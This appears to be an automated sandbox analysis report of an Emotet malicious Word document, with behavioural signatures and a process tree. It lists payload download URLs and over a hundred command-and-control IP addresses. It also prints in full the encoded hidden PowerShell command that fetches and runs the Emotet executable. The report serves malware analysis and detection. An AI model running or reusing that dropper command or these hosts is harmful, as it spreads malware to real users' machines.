Analysis
-
max time kernel
25s -
resource
win10v191014 -
submitted
21-01-2020 07:57
General
Malware Config
Extracted
http://demo.growmatrics.com/wp-admin/zmfkm-plqxh-765909100/
http://www.crossfitheimdall.com/1ha8us/ek21iei9dl-fab4lvyuw-465996896/
http://www.bancadelluniverso.it/softaculous/OfkQExY/
http://www.demo.thedryerventpro.com/wp-admin/601o97lmde-she8j1-4176106/
http://www.escuelaunosanagustin.com/wp-admin/a0dmmx-3m2-2574/
Extracted
emotet
153.183.25.24:80
153.137.36.142:80
178.152.92.246:80
178.33.167.120:8080
144.76.56.36:8080
176.58.93.123:80
51.38.134.203:8080
77.74.78.80:443
58.92.179.55:443
187.72.47.161:443
106.248.79.174:80
58.185.224.18:80
60.152.212.149:80
41.185.29.128:8080
89.215.225.15:80
98.178.241.106:80
183.91.3.63:80
37.70.131.107:80
46.17.6.116:8080
78.210.132.35:80
162.144.46.90:8080
195.201.56.70:8080
95.216.207.86:7080
59.135.126.129:443
5.196.200.208:8080
51.77.113.97:8080
85.109.190.235:443
1.221.254.82:80
50.63.13.135:8080
67.254.196.78:443
190.17.94.108:443
216.75.37.196:8080
76.87.58.38:80
91.117.131.122:80
78.189.60.109:443
112.186.195.176:80
125.209.114.180:443
185.192.75.240:443
85.100.122.211:80
144.139.91.187:80
192.241.220.183:8080
23.253.207.142:8080
210.111.160.220:80
61.221.152.140:80
200.82.88.254:80
75.86.6.174:80
182.74.249.74:80
156.155.163.232:80
220.247.70.174:80
82.145.43.153:8080
186.84.173.136:8080
175.127.140.68:80
188.251.213.180:443
88.249.181.198:443
50.116.78.109:8080
211.20.154.102:80
91.73.169.210:80
82.146.55.23:7080
186.147.245.204:80
177.144.130.105:443
179.5.118.12:8080
88.248.140.80:80
172.104.70.207:8080
24.70.40.15:8080
46.32.229.152:8080
105.209.235.113:8080
142.93.87.198:8080
114.179.127.48:80
82.79.244.92:80
61.204.119.188:443
163.172.107.70:8080
78.189.165.52:8080
177.103.240.93:80
183.82.123.60:443
122.116.104.238:7080
186.223.86.136:443
181.53.29.136:8080
157.7.164.178:8081
91.117.31.181:80
192.210.217.94:8080
185.244.167.25:443
203.124.57.50:80
88.247.26.78:80
217.12.70.226:80
95.130.37.244:443
80.211.32.88:8080
110.142.161.90:80
98.15.140.226:80
212.129.14.27:8080
192.241.241.221:443
110.2.118.164:80
190.5.162.204:80
81.82.247.216:80
122.176.116.57:443
182.176.116.139:995
160.226.171.255:443
183.87.40.21:8080
88.247.53.159:443
160.119.153.20:80
190.93.210.113:80
98.192.74.164:80
181.196.27.123:80
1.217.126.11:443
154.73.137.131:80
76.11.76.47:80
211.229.116.130:80
201.183.251.100:80
75.127.14.170:8080
24.141.12.228:80
197.94.32.129:8080
203.153.216.178:7080
158.69.167.246:8080
212.112.113.235:80
60.130.173.117:80
82.165.15.188:8080
37.46.129.215:8080
69.30.205.162:7080
196.6.119.137:80
190.171.153.139:80
149.202.153.251:8080
78.101.95.172:80
41.215.79.182:80
139.59.12.63:8080
185.207.57.205:443
69.14.208.221:80
78.186.102.195:80
91.83.93.103:443
Signatures
-
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 4552 wrote to memory of 4716 4552 Powershell.exe 80 PID 4716 wrote to memory of 4684 4716 59.exe 81 PID 3712 wrote to memory of 4340 3712 msgroam.exe 83 -
Suspicious behavior: EmotetMutantsSpam 2 IoCs
pid Process 4684 59.exe 4340 msgroam.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File renamed C:\Users\Admin\59.exe => C:\Windows\SysWOW64\msgroam.exe 59.exe -
Process spawned unexpected child process 1 IoCs
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4552 368 Powershell.exe 74 -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 4552 Powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4552 Powershell.exe -
Executes dropped EXE 4 IoCs
pid Process 4716 59.exe 4684 59.exe 3712 msgroam.exe 4340 msgroam.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4944 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 4944 WINWORD.EXE 4716 59.exe 4684 59.exe 3712 msgroam.exe 4340 msgroam.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\41a39aba7e866bc9556210ca2f0fdbb66cee751719cf7ca1f6ae526ef0005460.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4944
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABPAHQAZwBrAGQAcQBpAHAAPQAnAFoAZQBrAGMAaQBmAGoAagBxACcAOwAkAFgAbQBmAGYAagBpAHcAcABrACAAPQAgACcANQA5ACcAOwAkAE4AbwB5AG0AegB3AHoAdQB5AHgAcQBmAGoAPQAnAFgAaAB2AHcAZgBhAGEAeQBoAHYAZAAnADsAJABIAHQAZgB5AG4AdgBoAGsAbABmAHUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFgAbQBmAGYAagBpAHcAcABrACsAJwAuAGUAeABlACcAOwAkAE4AZwB0AGIAYQBwAGcAcgA9ACcAUQBtAHAAcQBoAGMAbwBmAHMAbwBwACcAOwAkAE4AagBtAGoAdQB6AG8AcgB1AHYAPQAuACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQBUAC4AVwBFAGIAQwBsAGkARQBOAFQAOwAkAFgAYwB1AGcAeQBwAGEAdwBiAHEAdAA9ACcAaAB0AHQAcAA6AC8ALwBkAGUAbQBvAC4AZwByAG8AdwBtAGEAdAByAGkAYwBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB6AG0AZgBrAG0ALQBwAGwAcQB4AGgALQA3ADYANQA5ADAAOQAxADAAMAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGMAcgBvAHMAcwBmAGkAdABoAGUAaQBtAGQAYQBsAGwALgBjAG8AbQAvADEAaABhADgAdQBzAC8AZQBrADIAMQBpAGUAaQA5AGQAbAAtAGYAYQBiADQAbAB2AHkAdQB3AC0ANAA2ADUAOQA5ADYAOAA5ADYALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBiAGEAbgBjAGEAZABlAGwAbAB1AG4AaQB2AGUAcgBzAG8ALgBpAHQALwBzAG8AZgB0AGEAYwB1AGwAbwB1AHMALwBPAGYAawBRAEUAeABZAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZABlAG0AbwAuAHQAaABlAGQAcgB5AGUAcgB2AGUAbgB0AHAAcgBvAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA2ADAAMQBvADkANwBsAG0AZABlAC0AcwBoAGUAOABqADEALQA0ADEANwA2ADEAMAA2AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZQBzAGMAdQBlAGwAYQB1AG4AbwBzAGEAbgBhAGcAdQBzAHQAaQBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBhADAAZABtAG0AeAAtADMAbQAyAC0AMgA1ADcANAAvACcALgAiAHMAYABQAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVgBlAHUAegBtAHEAcQBxAD0AJwBYAGgAcwBkAG8AZQB1AG4AeQBrAHEAZQBrACcAOwBmAG8AcgBlAGEAYwBoACgAJABVAGsAdQBsAGsAcwBmAGcAaAAgAGkAbgAgACQAWABjAHUAZwB5AHAAYQB3AGIAcQB0ACkAewB0AHIAeQB7ACQATgBqAG0AagB1AHoAbwByAHUAdgAuACIAZABvAHcAbgBsAGAATwBgAEEAZABGAGAASQBsAEUAIgAoACQAVQBrAHUAbABrAHMAZgBnAGgALAAgACQASAB0AGYAeQBuAHYAaABrAGwAZgB1ACkAOwAkAFQAdgB0AHEAawBtAG0AYgBlAHkAPQAnAFEAdQBiAHYAYQB1AHEAcwBpACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQASAB0AGYAeQBuAHYAaABrAGwAZgB1ACkALgAiAEwAYABFAGAATgBnAFQAaAAiACAALQBnAGUAIAAzADEANQA1ADUAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAYQByAHQAIgAoACQASAB0AGYAeQBuAHYAaABrAGwAZgB1ACkAOwAkAEEAeQBiAHIAYgBsAHEAdABlAG8AcwB1AHgAPQAnAEoAawBnAG4AZgByAHkAZABzAHcAJwA7AGIAcgBlAGEAawA7ACQASwB1AHgAYgBlAHgAdABwAGwAawB2AD0AJwBIAGQAYgBiAGIAZwB4AHoAaQBnAGkAYwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAGMAdgBpAHUAbQB1AGYAegBoAG4AbgA9ACcASwB6AHoAcABnAHQAeABuACcA1⤵
- Suspicious use of WriteProcessMemory
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4552 -
C:\Users\Admin\59.exe"C:\Users\Admin\59.exe"2⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4716 -
C:\Users\Admin\59.exe--c00e4bae3⤵
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4684
-
-
-
C:\Windows\SysWOW64\msgroam.exe"C:\Windows\SysWOW64\msgroam.exe"1⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3712 -
C:\Windows\SysWOW64\msgroam.exe--3116e0a02⤵
- Suspicious behavior: EmotetMutantsSpam
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4340
-